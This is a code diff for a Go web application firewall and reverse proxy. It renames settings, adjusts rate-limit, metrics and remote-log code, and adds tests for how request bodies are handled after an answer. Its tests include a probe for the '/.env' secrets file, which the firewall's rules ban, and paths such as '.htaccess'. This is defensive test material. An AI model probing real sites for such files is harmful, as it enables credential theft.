+/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess
+/api/v1/repos/alice/tools/milestones?state=open&name=v1.0
+
 # Pages, raw files and edit pages of files, and the API's call for their
 # contents.
 /owner/repo/src/branch/main/package.json

internal/coreruleset/vaultwarden_test.go

@@ -456,8 +456,11 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
 		},
 	} {
 		body := passwordBody(t, sent.r, sent.names, hashes...)
-		if len(body) > bodyLimit {
-			t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
+		if len(body) > bodyInspectionSize {
+			t.Fatalf(
+				"a body of %d bytes is cut at bodyInspectionSize",
+				len(body),
+			)
 		}
 
 		if got, _ := inspectBody(t, crs, sent.r, body); len(

internal/metrics/busiest.go

@@ -13,14 +13,15 @@ const other = "other"
 
 // busiest are the metrics by one thing the lookup finds of the client,
 // its country or its AS number, for requests whose client's is known.
-// The topN busiest countries or AS numbers, by their requests since the
-// start, have series of their own, and the others are counted under
-// other, so that there are never more than topN + 1 series. One that
-// drops out of the busiest loses its series, and its next requests are
-// counted under other; one that becomes one of them gets a series that
-// counts from then on. Each series therefore only ever goes up.
+// The busiestCount busiest countries or AS numbers, by their requests
+// since the start, have series of their own, and the others are counted
+// under other, so that there are never more than busiestCount + 1 series.
+// One that drops out of the busiest loses its series, and its next
+// requests are counted under other; one that becomes one of them gets a
+// series that counts from then on. Each series therefore only ever goes
+// up.
 type busiest struct {
-	topN int
+	busiestCount int
 
 	requests      *prometheus.CounterVec
 	requestBytes  *prometheus.CounterVec
@@ -38,9 +39,9 @@ type busiest struct {
 }
 
 // newCountries returns the metrics by country, with series of their own
-// for the topN busiest countries.
-func newCountries(topN int) *busiest {
-	countries := newBusiest(topN, "country", "the client's country")
+// for the busiestCount busiest countries.
+func newCountries(busiestCount int) *busiest {
+	countries := newBusiest(busiestCount, "country", "the client's country")
 	countries.refused = counterVec(
 		"sww_country_list_refusals_total",
 		"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
@@ -51,18 +52,19 @@ func newCountries(topN int) *busiest {
 }
 
 // newASNs returns the metrics by AS number, with series of their own for
-// the topN busiest AS numbers.
-func newASNs(topN int) *busiest {
-	return newBusiest(topN, "asn", "the client's AS number")
+// the busiestCount busiest AS numbers.
+func newASNs(busiestCount int) *busiest {
+	return newBusiest(busiestCount, "asn", "the client's AS number")
 }
 
 // newBusiest returns the metrics by label, which is described as
-// description, with series of their own for the topN busiest values.
-func newBusiest(topN int, label, description string) *busiest {
+// description, with series of their own for the busiestCount busiest
+// values.
+func newBusiest(busiestCount int, label, description string) *busiest {
 	by := []string{label}
 
 	return &busiest{
-		topN: topN,
+		busiestCount: busiestCount,
 		requests: counterVec("sww_"+label+"_requests_total",
 			"Requests, by "+description+".", by),
 		requestBytes: counterVec("sww_"+label+"_request_bytes_total",
@@ -131,7 +133,7 @@ func (b *busiest) label(value string) string {
 		return value
 	}
 
-	if len(b.top) < b.topN {
+	if len(b.top) < b.busiestCount {
 		b.top[value] = true
 
 		return value

internal/metrics/metrics.go

@@ -61,12 +61,12 @@ type Metrics struct {
 }
 
 // New returns the metrics, with the Go runtime's and the process's own.
-// topN is how many countries and how many AS numbers get series of their
-// own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric carries instanceName
-// (SWW_WAF_INSTANCE_NAME) as its label instance.
+// busiestCount is how many countries and how many AS numbers get series of
+// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
+// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
 //
 //nolint:funlen // a few lines for each metric, a list that grows with them
-func New(topN int, instanceName string) *Metrics {
+func New(busiestCount int, instanceName string) *Metrics {
 	byStatus := []string{"status_class", "action"}
 	byFile := []string{"file"}
 	registry := prometheus.NewRegistry()
@@ -114,8 +114,8 @@ func New(topN int, instanceName string) *Metrics {
 				"and the rule's id.",
 			[]string{"mode", "rule_id"},
 		),
-		countries: newCountries(topN),
-		asns:      newASNs(topN),
+		countries: newCountries(busiestCount),
+		asns:      newASNs(busiestCount),
 		GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
 			Name: "sww_geojs_requests_total",
 			Help: "Requests to GeoJS.",

internal/ratelimit/ratelimit.go

@@ -185,8 +185,8 @@ func New(limits Limits, maxClients int) *Limiter {
 	}
 }
 
-// Hit is a request that takes a client over a rate limit or the error
-// burst, or whose bytes take it over a byte limit.
+// Hit is a request that takes a client over a rate limit or the refusal
+// limit, or whose bytes take it over a byte limit.
 type Hit struct {
 	// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
 	// KindRefusals for the refusal limit.
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
 // CountRefusal counts a request from client at now that sww
 // refused after a rule file or Core Rule Set match or for a missing or
 // wrong token, and reports whether the client's refusals in the minute
-// that ends at now, this one included, are more than threshold, which
-// breaks the refusal limit, and the hit.
+// that ends at now, this one included, are more than limit, which breaks
+// the refusal limit, and the hit.
 func (l *Limiter) CountRefusal(
-	client netip.Prefix, now time.Time, threshold int64,
+	client netip.Prefix, now time.Time, limit int64,
 ) (Hit, bool) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
 	hit := Hit{
 		Kind:   KindRefusals,
 		Window: "minute",
-		Limit:  threshold,
+		Limit:  limit,
 		Count:  count,
 	}
 
-	return hit, count > float64(threshold)
+	return hit, count > float64(limit)
 }
 
 // Reset sets client's counts of requests, of bytes and of refusals in

internal/ratelimit/ratelimit_test.go

@@ -351,7 +351,9 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
 	wantBytesCount(t, limiter, client, start, 1000, "")
 }
 
-func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
+func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
@@ -361,7 +363,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 	for range limit {
 		if _, over := limiter.CountRefusal(client, start, limit); over {
 			t.Fatalf(
-				"a refusal within the threshold of %d broke the refusal limit",
+				"a refusal within the limit of %d broke the refusal limit",
 				limit,
 			)
 		}
@@ -374,7 +376,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 	}
 	if !over || hit != want {
 		t.Errorf(
-			"one over the threshold broke it: %t, with %+v; want %+v",
+			"one over the limit broke it: %t, with %+v; want %+v",
 			over,
 			hit,
 			want,
@@ -382,7 +384,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 	}
 
 	// Half a minute into the next, half of those four still count, 2, and
-	// this one: 3, within the threshold.
+	// this one: 3, within the limit.
 	hit, over = limiter.CountRefusal(
 		client,
 		start.Add(time.Minute+time.Minute/2),

internal/remotelog/remotelog.go

@@ -62,9 +62,9 @@ type Params struct {
 	// RootCAs are the certificates a SchemeTLS endpoint's certificate
 	// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
 	RootCAs *x509.CertPool
-	// Buffer is the most lines held while they wait to be sent
+	// BufferLines is the most lines held while they wait to be sent
 	// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
-	Buffer int
+	BufferLines int
 	// Facility is the number of the records' syslog facility
 	// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
 	// (SWW_WAF_LOG_REMOTE_APP_NAME).
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
 		// id and the structured data have no value.
 		beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
 		afterTime:  " " + hostname + " " + params.AppName + " - - - ",
-		records:    make(chan []byte, params.Buffer),
+		records:    make(chan []byte, params.BufferLines),
 	}
 }
 

internal/remotelog/remotelog_test.go

@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
 		endpoint := listen(t)
 		endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
 		endpointParams.RootCAs = roots
-		endpointParams.Buffer = 3
+		endpointParams.BufferLines = 3
 		sender, _, _ := run(t, endpointParams)
 
 		// The sender connects, and its TLS handshake waits for an answer
@@ -402,10 +402,10 @@ func (o *output) text() string {
 // appName.
 func params(scheme string, addr net.Addr) remotelog.Params {
 	return remotelog.Params{
-		URL:      &url.URL{Scheme: scheme, Host: addr.String()},
-		Buffer:   10,
-		Facility: local0,
-		AppName:  appName,
+		URL:         &url.URL{Scheme: scheme, Host: addr.String()},
+		BufferLines: 10,
+		Facility:    local0,
+		AppName:     appName,
 	}
 }
 

internal/reputation/dnsbl_test.go

@@ -42,9 +42,9 @@ const (
 	otherZone = "other.example"
 	// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
 	// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
-	// /etc/resolv.conf
-	// can have Go's resolver wait for one server, so that it is the
-	// DNSBL's own timeout that ends a query, whatever that file says.
+	// /etc/resolv.conf can have Go's resolver wait for one server, so that
+	// it is the DNSBL's own timeout that ends a query, whatever that file
+	// says.
 	cacheTTL = 24 * time.Hour
 	timeout  = time.Second
 	// listed and unlisted are clients zone is asked about by the names

internal/rproxy/limits_test.go

@@ -26,6 +26,10 @@ import (
 // post is the start of a POST whose headers end with what follows it.
 const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
 
+// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
+// body, the 64 KiB rproxy reads before it asks waf.
+const limitPastFirstPart = "128K"
+
 // announcedLength is the header that announces a body of size bytes, and the
 // end of the headers.
 func announcedLength(size int) string {
@@ -75,7 +79,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 		size, asked int
 	}{
 		{"with the limit within the first part", "1K", 1025, 1024},
-		{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
+		{
+			"with the limit past the first part", limitPastFirstPart, 129 << 10,
+			questionBodyMaxBytes,
+		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
@@ -93,10 +100,15 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 				},
 			)
 
-			got := visit(t, newRequest(t, http.MethodPost, addr, "/",
-				bytes.NewReader(make([]byte, tc.size))))
-			if got.status != http.StatusRequestEntityTooLarge {
-				t.Errorf("answered %+v, want 413", got)
+			// The visitor sends no Connection: close, so Go's server reads the rest
+			// of the body before it closes the connection. Closed with the rest
+			// unread, the connection is reset while the visitor still sends.
+			conn := dial(t, addr)
+			send(t, conn, post+announcedLength(tc.size)+
+				strings.Repeat("x", tc.size))
+
+			if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
+				t.Errorf("status %d, want 413", status)
 			}
 
 			if asked := standIn.question(t); len(asked.body) != tc.asked {
@@ -131,6 +143,134 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
 	}
 }
 
+func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name   string
+		waf    http.HandlerFunc
+		rest   int
+		status int
+	}{
+		{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
+		{"denied", deny, 65 << 10, http.StatusForbidden},
+		// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
+		// connection's buffers. Otherwise the visitor is still sending when the
+		// connection closes, and gets a reset.
+		{
+			"with more than 256 KiB left", allow, 272 << 10,
+			http.StatusRequestEntityTooLarge,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startWAF(t, tc.waf)
+			app := startApp(t, func(http.ResponseWriter, *http.Request) {
+				t.Error("the app was asked")
+			})
+			addr, _ := startRProxy(t, standIn.URL, app.URL,
+				map[string]string{maxRequestSize: limitPastFirstPart})
+
+			conn := dial(t, addr)
+			send(t, conn, post+"Connection: close\r\n"+
+				announcedLength(questionBodyMaxBytes+tc.rest)+
+				strings.Repeat("x", questionBodyMaxBytes))
+
+			reader := bufio.NewReader(conn)
+
+			res, err := http.ReadResponse(reader, nil)
+			if err != nil {
+				t.Fatalf("read the answer: %v", err)
+			}
+
+			_, _ = io.Copy(io.Discard, res.Body)
+			_ = res.Body.Close()
+
+			if res.StatusCode != tc.status {
+				t.Errorf("status %d, want %d", res.StatusCode, tc.status)
+			}
+
+			// The rest goes in small parts, so that a reset fails a later one.
+			for sent := 0; sent < tc.rest; sent += 1 << 10 {
+				send(t, conn, strings.Repeat("x", 1<<10))
+			}
+
+			got, err := io.ReadAll(reader)
+			if err != nil || len(got) != 0 {
+				t.Errorf(
+					"after the answer, read %q and %v, want the end",
+					got,
+					err,
+				)
+			}
+		})
+	}
+}
+
+func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
+		w.Header().Set(dispositionHeader, dispositionClose)
+		w.WriteHeader(http.StatusOK)
+	})
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		t.Error("the app was asked")
+	})
+	// The request time limit is far longer than dial's deadline.
+	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+		maxRequestTime: "120000",
+	})
+
+	conn := dial(t, addr)
+	send(t, conn, post+"Connection: close\r\n"+
+		announcedLength(2*questionBodyMaxBytes)+
+		strings.Repeat("x", questionBodyMaxBytes))
+
+	// If the connection stays open, dial's deadline ends this read with a timeout.
+	text, err := io.ReadAll(conn)
+	if err != nil || len(text) != 0 {
+		t.Errorf(
+			"read %q (%v), want the connection closed without an answer",
+			text,
+			err,
+		)
+	}
+}
+
+func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	standIn := startWAF(t, allow)
+	// The flush has the app's server send greeting in chunks instead of adding a
+	// Content-Length.
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		rc := http.NewResponseController(w)
+		_ = rc.EnableFullDuplex()
+
+		_, _ = io.WriteString(w, greeting)
+		_ = rc.Flush()
+	})
+	// The request time limit is far longer than dial's deadline.
+	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+		maxRequestTime: "120000",
+	})
+
+	conn := dial(t, addr)
+	send(t, conn, post+"Connection: close\r\n"+
+		announcedLength(2*questionBodyMaxBytes)+
+		strings.Repeat("x", questionBodyMaxBytes+1))
+
+	wantGreeting(t, readAnswer(t, conn))
+}
+
 func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
 	t.Parallel()
 
@@ -143,7 +283,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
 		mayReachApp bool
 	}{
 		{"within the first part", "1K", 2 << 10, false},
-		{"past the first part", "128K", 129 << 10, true},
+		{"past the first part", limitPastFirstPart, 129 << 10, true},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()

internal/rproxy/request.go

@@ -38,6 +38,10 @@ const plainText = "text/plain; charset=utf-8"
 // and the visitor then gets a closed connection and no answer.
 const minSendTime = 10 * time.Second
 
+// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
+// reads once the handler returns, for a visitor without Connection: close.
+const maxBodyReadAfterAnswer = 256 << 10
+
 // errResponseTooLate refuses an app's answer that arrives once
 // SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
 var errResponseTooLate = errors.New(
@@ -339,8 +343,8 @@ func (rq *request) answer(status int) {
 	}
 
 	// A visitor found too slow is read no more; any other may go on sending until
-	// its time is up, so that Go's server can read the rest of the body and end
-	// the request cleanly.
+	// its time is up, so that the rest of the body is read and the request ends
+	// cleanly: by Go's server, or by readRestOfBody.
 	deadline := rq.requestDeadline()
 	if status == http.StatusRequestTimeout {
 		deadline = time.Now()
@@ -524,10 +528,35 @@ func (rq *request) stopReadingBody(deadline time.Time) {
 	_ = rq.rc.SetReadDeadline(deadline)
 }
 
+// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
+// has been answered with a Content-Length, until the read deadline already set on
+// the connection. It does this only for a body with a declared length from a
+// visitor that sent Connection: close, because Go's server reads none of that
+// rest. Without the read, the visitor, still sending, gets a reset and may never
+// read the answer. Go's server ends an answer without a Content-Length only once
+// the handler returns, so reading first would hold back the end of that answer.
+// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
+// server tell the visitor it sends no more, then wait 500 ms before it closes
+// the connection.
+func (rq *request) readRestOfBody() {
+	if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
+		rq.out.Header().Get("Content-Length") == "" ||
+		rq.out.status == http.StatusSwitchingProtocols {
+		return
+	}
+
+	rest := http.MaxBytesReader(
+		rq.out.ResponseWriter,
+		rq.in.Body,
+		maxBodyReadAfterAnswer,
+	)
+	_, _ = io.Copy(io.Discard, rest)
+}
+
 // stopPassingOnBody ends the transport's reading of a visitor's body that has
-// not arrived whole, and lets Go's server read the rest until deadline. Go's
-// server reads it once the handler returns, but with no deadline at all if
-// another read of it is still waiting.
+// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
+// deadline. Go's server reads it once the handler returns, but with no deadline
+// at all if another read of it is still waiting.
 func (rq *request) stopPassingOnBody(deadline time.Time) {
 	if rq.body == nil || rq.body.received.Load() {
 		return

internal/rproxy/rproxy.go

@@ -110,8 +110,7 @@ func New(params Params) *Server {
 
 // WaitForReports returns once the reports being sent have gone or failed,
 // which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
-// is dropped: that of
-// a WebSocket that closes while rproxy stops, for one.
+// is dropped: that of a WebSocket that closes while rproxy stops, for one.
 func (s *Server) WaitForReports() {
 	s.h.reportsMu.Lock()
 	s.h.reportsStopped = true
@@ -171,6 +170,7 @@ func newWAFTransport() *http.Transport {
 // it writes the request's log line and sends its report.
 func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	rq := h.newRequest(w, r)
+	defer rq.readRestOfBody()
 	defer rq.finish(r.Context())
 
 	if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {

internal/rproxy/rproxy_test.go

@@ -44,13 +44,13 @@ const (
 
 // The settings the tests set.
 const (
-	timeoutSetting  = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
-	noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
-	trustedProxies  = "SWW_RPROXY_TRUSTED_PROXIES"
-	maxRequestSize  = "SWW_RPROXY_MAX_REQUEST_SIZE"
-	maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
-	maxRequestTime  = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
-	maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
+	wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
+	noAnswerSetting   = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
+	trustedProxies    = "SWW_RPROXY_TRUSTED_PROXIES"
+	maxRequestSize    = "SWW_RPROXY_MAX_REQUEST_SIZE"
+	maxResponseSize   = "SWW_RPROXY_MAX_RESPONSE_SIZE"
+	maxRequestTime    = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
+	maxResponseTime   = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
 )
 
 // The headers the tests set and look at.
@@ -956,7 +956,8 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
 	}
 }
 
-// noAnswers are the ways waf can leave the decision to the default.
+// noAnswers are the ways waf can leave the decision to
+// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
 func noAnswers() map[string]func(t *testing.T) string {
 	return map[string]func(t *testing.T) string{
 		"no connection": func(*testing.T) string { return nowhere },
@@ -1008,7 +1009,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
 		{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
 	} {
 		for _, setting := range []string{dispositionAllow, dispositionDeny} {
-			t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
+			subtest := tc.name + " with " + noAnswerSetting + "=" + setting
+			t.Run(subtest, func(t *testing.T) {
 				t.Parallel()
 
 				standIn := startWAF(
@@ -1049,7 +1051,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
 				if line["status"] != float64(tc.status) ||
 					line["waf_backend_no_answer"] != nil {
 					t.Errorf(
-						"line %v, want status %d and no default",
+						"line %v, want status %d and no waf_backend_no_answer",
 						line,
 						tc.status,
 					)
@@ -1109,7 +1111,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
 		_, _ = w.Write(make([]byte, size))
 	})
 	addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
-		timeoutSetting: "60000",
+		wafBackendTimeout: "60000",
 	})
 
 	got := get(t, addr, "/")
@@ -1202,7 +1204,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
 		"a 101 that holds its connection open": answeringWith(switchAndHold),
 	} {
 		for _, setting := range []string{dispositionAllow, dispositionDeny} {
-			t.Run(name+" with the default "+setting, func(t *testing.T) {
+			subtest := name + " with " + noAnswerSetting + "=" + setting
+			t.Run(subtest, func(t *testing.T) {
 				t.Parallel()
 
 				app := startApp(t, func(http.ResponseWriter, *http.Request) {
@@ -1213,8 +1216,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
 					backend(t),
 					app.URL,
 					map[string]string{
-						timeoutSetting:  "60000",
-						noAnswerSetting: setting,
+						wafBackendTimeout: "60000",
+						noAnswerSetting:   setting,
 					},
 				)
 
@@ -1242,7 +1245,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
 
 	standIn := startWAF(t, overOneMiB(dispositionDeny))
 	addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
-		timeoutSetting: "60000",
+		wafBackendTimeout: "60000",
 	})
 
 	if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
@@ -1253,7 +1256,9 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
 	standIn.wantNoReport(t)
 }
 
-func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
+func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for name, backend := range noAnswers() {
@@ -1266,7 +1271,7 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
 				backend(t),
 				app.URL,
 				map[string]string{
-					timeoutSetting: "200",
+					wafBackendTimeout: "200",
 				},
 			)
 
@@ -1275,7 +1280,10 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
 			line := out.requestLine(t)
 			if line["disposition"] != dispositionAllow ||
 				line["waf_backend_no_answer"] != true {
-				t.Errorf("line %v, want allow by default", line)
+				t.Errorf(
+					"line %v, want allow and waf_backend_no_answer",
+					line,
+				)
 			}
 		})
 
@@ -1290,8 +1298,8 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
 				backend(t),
 				app.URL,
 				map[string]string{
-					timeoutSetting:  "200",
-					noAnswerSetting: dispositionDeny,
+					wafBackendTimeout: "200",
+					noAnswerSetting:   dispositionDeny,
 				},
 			)
 
@@ -1303,17 +1311,20 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
 			line := out.requestLine(t)
 			if line["disposition"] != dispositionDeny ||
 				line["waf_backend_no_answer"] != true {
-				t.Errorf("line %v, want deny by default", line)
+				t.Errorf(
+					"line %v, want deny and waf_backend_no_answer",
+					line,
+				)
 			}
 		})
 	}
 }
 
-func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
+func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
 	t.Parallel()
 
 	for _, disposition := range []string{dispositionAllow, dispositionDeny} {
-		t.Run("with the default "+disposition, func(t *testing.T) {
+		t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) {
 			t.Parallel()
 
 			standIn := startWAF(
@@ -1330,8 +1341,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
 				standIn.URL,
 				app.URL,
 				map[string]string{
-					timeoutSetting:  "60000",
-					noAnswerSetting: disposition,
+					wafBackendTimeout: "60000",
+					noAnswerSetting:   disposition,
 				},
 			)
 
@@ -1356,7 +1367,9 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
 	}
 }
 
-func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
+func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	app := startApp(t, greet)
@@ -1374,7 +1387,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
 	})
 	app := startApp(t, greet)
 	addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
-		timeoutSetting: "200",
+		wafBackendTimeout: "200",
 	})
 
 	wantGreeting(t, get(t, addr, "/"))
@@ -1438,7 +1451,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
 
 	app := startApp(t, greet)
 	addr, _ := startRProxy(t, backend, app.URL, map[string]string{
-		timeoutSetting: "60000",
+		wafBackendTimeout: "60000",
 	})
 
 	t.Cleanup(func() { close(release) })
@@ -1481,7 +1494,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
 	// The time limit is long enough for a loaded host to answer the question before
 	// it runs out.
 	addr, out := startRProxy(t, backend, app.URL, map[string]string{
-		timeoutSetting: "3000",
+		wafBackendTimeout: "3000",
 	})
 
 	t.Cleanup(func() { close(release) })
@@ -1511,7 +1524,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
 	backend := startWAFAnsweringReports(t, allow, switchAndHold)
 	app := startApp(t, greet)
 	addr, out := startRProxy(t, backend, app.URL, map[string]string{
-		timeoutSetting: "60000",
+		wafBackendTimeout: "60000",
 	})
 
 	wantGreeting(t, get(t, addr, "/"))
@@ -1599,7 +1612,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
 		backend.URL,
 		app.URL,
 		map[string]string{
-			timeoutSetting: "5000",
+			wafBackendTimeout: "5000",
 		},
 	)
 

internal/sww/rproxy.go

@@ -16,10 +16,10 @@ import (
 // RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
 // requests until ctx is done. Then it gives the requests in progress
 // shutdownTimeout to finish, and the reports being sent
-// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It
-// returns the process's exit status, 1 when rproxy cannot start. Its process
-// messages name the host's name as instance, and it writes those at info or
-// more severe: rproxy has no setting for either.
+// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1
+// when rproxy cannot start. Its process messages name the host's name as
+// instance, and it writes those at info or more severe: rproxy has no
+// setting for either.
 func RunRProxy(ctx context.Context, params Params) int {
 	hostname, _ := os.Hostname() // "" when the host has no name to give
 	processLog := requestlog.NewProcessLogger(

internal/sww/rproxy_test.go

@@ -31,8 +31,8 @@ const (
 	rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
 	// rproxyUpstreamURL is the setting that says where the app is.
 	rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
-	// rproxyTimeout is the setting that says how long rproxy waits for waf.
-	rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
+	// wafBackendTimeout is the setting that says how long rproxy waits for waf.
+	wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
 	// bannedProbe is a path the default rule file bans a client for.
 	bannedProbe = "/.env"
 	// otherClient is a client the tests do not ban.
@@ -241,7 +241,8 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
 	forwardTo("")
 	stop()
 
-	// With waf down, the site answers, and rproxy says the default did it.
+	// With waf down, the site answers, and rproxy says
+	// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
 	wantStatus(t, site+"/after-stop", placed, http.StatusOK)
 
 	line := out.line(t, "path", "/after-stop")
@@ -691,7 +692,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
 	env := map[string]string{
 		rproxyListenAddr:          localhost + ":0",
 		"SWW_RPROXY_UPSTREAM_URL": startApp(t),
-		rproxyTimeout:             "60000",
+		wafBackendTimeout:         "60000",
 		wafBackend:                backend.URL,
 	}
 	out := &output{}
@@ -855,8 +856,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
 	}{
 		{"no backend", wafBackend, nil},
 		{
-			"another invalid", rproxyTimeout,
-			map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
+			"another invalid", wafBackendTimeout,
+			map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {

internal/sww/sww.go

@@ -340,11 +340,11 @@ func newAlertQueue(
 // SWW_WAF_LOG_REMOTE_URL, with the settings for it.
